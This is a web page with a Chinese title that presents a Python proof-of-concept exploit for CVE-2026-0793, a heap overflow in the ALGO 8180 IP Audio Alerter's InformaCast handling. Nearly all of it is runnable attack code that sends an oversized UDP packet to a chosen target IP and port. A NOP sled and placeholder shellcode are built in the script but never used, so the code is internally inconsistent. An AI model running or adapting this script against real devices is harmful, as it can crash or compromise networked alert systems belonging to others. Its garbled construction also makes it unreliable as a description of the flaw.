CVE-2026-0793 ALGO 8180 IP Audio Alerter InformaCast堆缓冲区溢出远程代码执行漏洞

#!/usr/bin/env python3 """ CVE-2026-0793 PoC - ALGO 8180 IP Audio Alerter InformaCast Heap Overflow Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_informacast_packet(payload_length=1024): """ Create a malformed InformaCast packet to trigger heap overflow. The packet lacks proper length validation before data copy. """ # InformaCast header header = b'ICST' # InformaCast signature # Packet type and flags packet_type = struct.pack('>H', 0x0001) # Audio告警消息类型 flags = struct.pack('>H', 0x0000) # Length field (intentionally mismatched with actual payload) length_field = struct.pack('>I', payload_length) # Payload: oversized data to trigger heap overflow # This overwrites adjacent heap memory structures overflow_payload = b'A' * payload_length # Add NOP sled and shellcode placeholder nop_sled = b'\x90' * 100 shellcode = b'\xcc' * 50 # INT3 breakpoint (placeholder) packet = header + packet_type + flags + length_field + overflow_payload return packet def exploit(target_ip, target_port=5000): """ Send exploit packet to target ALGO 8180 device. """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] CVE-2026-0793 - ALGO 8180 InformaCast Heap Overflow") packet = create_informacast_packet(payload_length=2048) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) print(f"[+] Sending malicious packet ({len(packet)} bytes)...") sock.sendto(packet, (target_ip, target_port)) print("[+] Packet sent successfully") print("[!] Check device for code execution or crash") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5000 exploit(target, port)